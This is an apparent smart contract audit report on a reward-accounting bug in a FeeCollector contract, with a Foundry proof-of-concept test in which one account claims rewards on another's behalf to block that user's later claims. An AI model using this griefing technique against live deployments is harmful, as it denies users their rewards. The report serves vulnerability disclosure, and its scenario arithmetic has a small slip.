Summary
Incorrect updation of user share in FeeCollector smart contract will prevent users from claiming rewards on second fee distribution. Moreover, since attackers can claim rewards on behalf of any user, they can block future rewards by exploting the vulnerability.
Vulnerability Details
Root Cause Analysis
FeeCollectoris a smart contract that manages protocol fee collection and distribution with time-weighted rewards.
veRAACToken holders can call getRewardsfunction of FeeCollector to claim rewards based on veRAACToken share.
Their pending reward is calculated as following:
function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 userVotingPower = veRAACToken.getVotingPower(user);
if (userVotingPower == 0) return 0;
uint256 totalVotingPower = veRAACToken.getTotalVotingPower();
if (totalVotingPower == 0) return 0;
@> uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
return share > userRewards[user] ? share - userRewards[user] : 0;
}
However, after fee is distributed, user's claimed share is updated like the following:
function claimRewards(address user) external override nonReentrant whenNotPaused returns (uint256) {
if (user == address(0)) revert InvalidAddress();
uint256 pendingReward = _calculatePendingRewards(user);
if (pendingReward == 0) revert InsufficientBalance();
@> userRewards[user] = totalDistributed;
raacToken.safeTransfer(user, pendingReward);
emit RewardClaimed(user, pendingReward);
return pendingReward;
}
So user's claimed reward amount is over-estimated. Consider the following scenario:
-
User's voting power is 1000
-
veRAACToken's total supply is 2000
-
FeeCollector has 1000 raacToken to distribute
-
User calls claimRewardsfunction
Pending reward will be (totalDistributed * userVotingPower) / totalVotingPower = 1000 * 1000 / 2000 = 500
500 raacToken will be transferred to user
userRewards[user]is set to totalDistributed = 1000
-
FeeCollectorhas another 100 raacToken to distribute
-
User calls claimRewardsfunction again
Pending reward share will be totalDistributed / 2 = (1100 + 1) / 2 = 550
However userRewards[user] = 1000
Thus pending reward will return 0
Moreover, since anyone can cliam rewards on behalf of any other user:
function claimRewards(address user) external override nonReentrant whenNotPaused returns (uint256) {
if (user == address(0)) revert InvalidAddress();
uint256 pendingReward = _calculatePendingRewards(user);
if (pendingReward == 0) revert InsufficientBalance();
userRewards[user] = totalDistributed;
raacToken.safeTransfer(user, pendingReward);
emit RewardClaimed(user, pendingReward);
return pendingReward;
}
attackers can block other users' future claims by claiming on behalf of them.
POC
Scenario
alice has half of total veToken voting power
the protocol distributes 1000 raacToken
eve claims reward on behalf of alice
current reward period ends
the protocol distributes another 1000 raacToken
alice cannot claim reward due to the vulnerability
Follow hardhat-foundry integration tujtorial, then put the following contet to test/poc.t.sol
pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {FeeCollector} from "../contracts/core/collectors/FeeCollector.sol";
contract FeeCollectorTest is Test {
FeeCollector feeCollector;
veRAACToken veToken;
RAACToken raacToken;
address treasury = makeAddr("treasury");
address repairFund = makeAddr("repairFund");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address eve = makeAddr("eve");
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
raacToken.manageWhitelist(address(veToken), true);
feeCollector = new FeeCollector(address(raacToken), address(veToken), treasury, repairFund, address(this));
raacToken.manageWhitelist(address(feeCollector), true);
}
function testClaimRewards() external {
_dealVeToken(alice, 1000e18);
_dealVeToken(bob, 1000e18);
_distributeFee(1000e18);
vm.startPrank(eve);
feeCollector.claimRewards(alice);
vm.stopPrank();
skip(7 days);
_distributeFee(100e18);
vm.startPrank(alice);
assertEq(feeCollector.getPendingRewards(alice), 0);
vm.expectRevert(abi.encodeWithSignature("InsufficientBalance()"));
feeCollector.claimRewards(alice);
vm.stopPrank();
}
function _distributeFee(uint256 amount) internal {
raacToken.mint(address(this), amount);
raacToken.approve(address(feeCollector), amount);
feeCollector.collectFee(amount, 0);
feeCollector.distributeCollectedFees();
}
function _dealVeToken(address account, uint256 amount) internal {
if (amount == 0) {
return;
}
deal(address(raacToken), account, amount);
vm.startPrank(account);
raacToken.approve(address(veToken), amount);
veToken.lock(amount, veToken.MAX_LOCK_DURATION());
vm.stopPrank();
}
}
Impact
Users won't be able to claim rewards from the second fee distribution onwards
Users will receive less rewards from the second fee distribution onwards
Attackers can block any other users' future claims by claiming rewards on behalf of them
Tools Used
Manual Review, Foundry
Recommendations
userRewards[user]should be updated with correct value, as the following:
- userRewards[user] = totalDistributed;
+ userRewards[user] += pendingReward;
